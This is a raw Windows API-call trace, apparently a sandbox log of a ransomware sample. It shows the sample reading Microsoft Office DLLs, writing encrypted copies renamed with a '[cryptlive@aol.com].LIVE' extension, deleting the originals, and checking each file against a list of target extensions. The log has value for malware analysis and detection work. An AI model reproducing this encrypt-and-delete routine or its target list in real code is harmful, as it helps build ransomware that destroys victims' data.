(lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0148.357] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.357] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0148.358] GetLastError () returned 0x0 [0148.358] ReadFile (in: hFile=0x394, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x1a780, lpOverlapped=0x0) returned 1 [0148.440] WriteFile (in: hFile=0x350, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x1a790, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x1a790, lpOverlapped=0x0) returned 1 [0148.443] ReadFile (in: hFile=0x394, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.443] WriteFile (in: hFile=0x350, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0148.443] SetEndOfFile (hFile=0x350) returned 1 [0148.443] CloseHandle (hObject=0x350) returned 1 [0148.443] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.443] SetEndOfFile (hFile=0x394) returned 1 [0148.449] CloseHandle (hObject=0x394) returned 1 [0148.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll")) returned 1 [0148.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0148.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0148.450] lstrlenW (lpString=".doc") returned 4 [0148.450] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0148.450] lstrlenW (lpString=".docx") returned 5 [0148.450] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0148.450] lstrlenW (lpString=".pdf") returned 4 [0148.450] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0148.450] lstrlenW (lpString=".xls") returned 4 [0148.450] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0148.450] lstrlenW (lpString=".xlsx") returned 5 [0148.450] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0148.450] lstrlenW (lpString=".ppt") returned 4 [0148.450] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0148.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0148.450] lstrlenW (lpString=".zip") returned 4 [0148.450] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0148.450] lstrlenW (lpString=".rar") returned 4 [0148.451] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0148.451] lstrlenW (lpString=".bz2") returned 4 [0148.451] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0148.451] lstrlenW (lpString=".7z") returned 3 [0148.451] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0148.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0148.451] lstrlenW (lpString=".dbf") returned 4 [0148.451] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0148.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0148.451] lstrlenW (lpString=".1cd") returned 4 [0148.451] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0148.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0148.451] lstrlenW (lpString=".jpg") returned 4 [0148.451] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0148.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0148.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0148.451] lstrlenW (lpString=".doc") returned 4 [0148.451] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0148.451] lstrlenW (lpString=".docx") returned 5 [0148.451] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0148.451] lstrlenW (lpString=".pdf") returned 4 [0148.451] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0148.451] lstrlenW (lpString=".xls") returned 4 [0148.451] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0148.451] lstrlenW (lpString=".xlsx") returned 5 [0148.451] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0148.451] lstrlenW (lpString=".ppt") returned 4 [0148.451] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0148.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0148.451] lstrlenW (lpString=".zip") returned 4 [0148.451] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0148.451] lstrlenW (lpString=".rar") returned 4 [0148.451] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0148.451] lstrlenW (lpString=".bz2") returned 4 [0148.451] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0148.451] lstrlenW (lpString=".7z") returned 3 [0148.452] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0148.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0148.452] lstrlenW (lpString=".dbf") returned 4 [0148.452] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0148.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0148.452] lstrlenW (lpString=".1cd") returned 4 [0148.452] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0148.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0148.452] lstrlenW (lpString=".jpg") returned 4 [0148.452] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0148.452] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0148.452] lstrlenW (lpString="wxpr.dll") returned 8 [0148.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0148.511] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=16776) returned 1 [0148.511] CloseHandle (hObject=0x3c4) returned 1 [0148.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll")) returned 0x20 [0148.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0148.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0148.635] lstrlenW (lpString=".doc") returned 4 [0148.635] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.635] lstrlenW (lpString=".docx") returned 5 [0148.635] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0148.635] lstrlenW (lpString=".pdf") returned 4 [0148.635] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.635] lstrlenW (lpString=".xls") returned 4 [0148.635] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.635] lstrlenW (lpString=".xlsx") returned 5 [0148.635] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0148.635] lstrlenW (lpString=".ppt") returned 4 [0148.635] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0148.635] lstrlenW (lpString=".zip") returned 4 [0148.635] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.635] lstrlenW (lpString=".rar") returned 4 [0148.635] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.635] lstrlenW (lpString=".bz2") returned 4 [0148.635] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.635] lstrlenW (lpString=".7z") returned 3 [0148.635] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0148.635] lstrlenW (lpString=".dbf") returned 4 [0148.635] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0148.635] lstrlenW (lpString=".1cd") returned 4 [0148.635] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0148.635] lstrlenW (lpString=".jpg") returned 4 [0148.635] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0148.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0148.635] lstrlenW (lpString=".doc") returned 4 [0148.635] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.636] lstrlenW (lpString=".docx") returned 5 [0148.636] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0148.636] lstrlenW (lpString=".pdf") returned 4 [0148.636] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.636] lstrlenW (lpString=".xls") returned 4 [0148.636] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.636] lstrlenW (lpString=".xlsx") returned 5 [0148.636] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0148.636] lstrlenW (lpString=".ppt") returned 4 [0148.636] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0148.636] lstrlenW (lpString=".zip") returned 4 [0148.636] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.636] lstrlenW (lpString=".rar") returned 4 [0148.636] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.636] lstrlenW (lpString=".bz2") returned 4 [0148.636] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.636] lstrlenW (lpString=".7z") returned 3 [0148.636] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0148.636] lstrlenW (lpString=".dbf") returned 4 [0148.636] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0148.636] lstrlenW (lpString=".1cd") returned 4 [0148.636] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0148.636] lstrlenW (lpString=".jpg") returned 4 [0148.636] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.636] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0148.636] lstrlenW (lpString="XLLEX.DLL") returned 9 [0148.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.671] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=37760) returned 1 [0148.671] CloseHandle (hObject=0x38c) returned 1 [0148.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll")) returned 0x20 [0148.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0148.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0148.685] lstrlenW (lpString=".doc") returned 4 [0148.685] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0148.685] lstrlenW (lpString=".docx") returned 5 [0148.685] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0148.685] lstrlenW (lpString=".pdf") returned 4 [0148.685] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0148.685] lstrlenW (lpString=".xls") returned 4 [0148.685] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0148.685] lstrlenW (lpString=".xlsx") returned 5 [0148.685] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0148.685] lstrlenW (lpString=".ppt") returned 4 [0148.685] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0148.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0148.685] lstrlenW (lpString=".zip") returned 4 [0148.685] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0148.685] lstrlenW (lpString=".rar") returned 4 [0148.685] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0148.685] lstrlenW (lpString=".bz2") returned 4 [0148.685] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0148.685] lstrlenW (lpString=".7z") returned 3 [0148.685] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0148.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0148.685] lstrlenW (lpString=".dbf") returned 4 [0148.685] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0148.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0148.685] lstrlenW (lpString=".1cd") returned 4 [0148.685] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0148.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0148.685] lstrlenW (lpString=".jpg") returned 4 [0148.685] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0148.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0148.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0148.685] lstrlenW (lpString=".doc") returned 4 [0148.686] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0148.686] lstrlenW (lpString=".docx") returned 5 [0148.686] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0148.686] lstrlenW (lpString=".pdf") returned 4 [0148.686] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0148.686] lstrlenW (lpString=".xls") returned 4 [0148.686] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0148.686] lstrlenW (lpString=".xlsx") returned 5 [0148.686] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0148.686] lstrlenW (lpString=".ppt") returned 4 [0148.686] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0148.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0148.686] lstrlenW (lpString=".zip") returned 4 [0148.686] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0148.686] lstrlenW (lpString=".rar") returned 4 [0148.686] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0148.686] lstrlenW (lpString=".bz2") returned 4 [0148.686] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0148.686] lstrlenW (lpString=".7z") returned 3 [0148.686] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0148.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0148.686] lstrlenW (lpString=".dbf") returned 4 [0148.686] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0148.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0148.686] lstrlenW (lpString=".1cd") returned 4 [0148.686] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0148.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0148.686] lstrlenW (lpString=".jpg") returned 4 [0148.686] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0148.686] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0148.687] lstrlenW (lpString="XLSLICER.DLL") returned 12 [0148.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0149.302] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=177536) returned 1 [0149.302] CloseHandle (hObject=0x3c8) returned 1 [0149.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll")) returned 0x20 [0149.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0149.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0149.441] lstrlenW (lpString=".doc") returned 4 [0149.441] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.441] lstrlenW (lpString=".docx") returned 5 [0149.441] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0149.441] lstrlenW (lpString=".pdf") returned 4 [0149.441] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.441] lstrlenW (lpString=".xls") returned 4 [0149.441] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.441] lstrlenW (lpString=".xlsx") returned 5 [0149.441] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0149.441] lstrlenW (lpString=".ppt") returned 4 [0149.441] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0149.441] lstrlenW (lpString=".zip") returned 4 [0149.442] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.442] lstrlenW (lpString=".rar") returned 4 [0149.442] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.442] lstrlenW (lpString=".bz2") returned 4 [0149.442] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.442] lstrlenW (lpString=".7z") returned 3 [0149.442] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0149.442] lstrlenW (lpString=".dbf") returned 4 [0149.442] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0149.442] lstrlenW (lpString=".1cd") returned 4 [0149.442] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0149.442] lstrlenW (lpString=".jpg") returned 4 [0149.442] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0149.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0149.442] lstrlenW (lpString=".doc") returned 4 [0149.442] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.442] lstrlenW (lpString=".docx") returned 5 [0149.442] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0149.442] lstrlenW (lpString=".pdf") returned 4 [0149.442] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.442] lstrlenW (lpString=".xls") returned 4 [0149.442] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.442] lstrlenW (lpString=".xlsx") returned 5 [0149.442] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0149.442] lstrlenW (lpString=".ppt") returned 4 [0149.442] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0149.443] lstrlenW (lpString=".zip") returned 4 [0149.443] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.443] lstrlenW (lpString=".rar") returned 4 [0149.443] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.443] lstrlenW (lpString=".bz2") returned 4 [0149.443] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.443] lstrlenW (lpString=".7z") returned 3 [0149.443] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0149.443] lstrlenW (lpString=".dbf") returned 4 [0149.443] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0149.443] lstrlenW (lpString=".1cd") returned 4 [0149.443] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0149.443] lstrlenW (lpString=".jpg") returned 4 [0149.443] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.443] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0149.443] lstrlenW (lpString="ACCDDS.DLL") returned 10 [0149.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.444] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1250224) returned 1 [0149.444] CloseHandle (hObject=0x39c) returned 1 [0149.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll")) returned 0x20 [0149.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0149.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0149.445] lstrlenW (lpString=".doc") 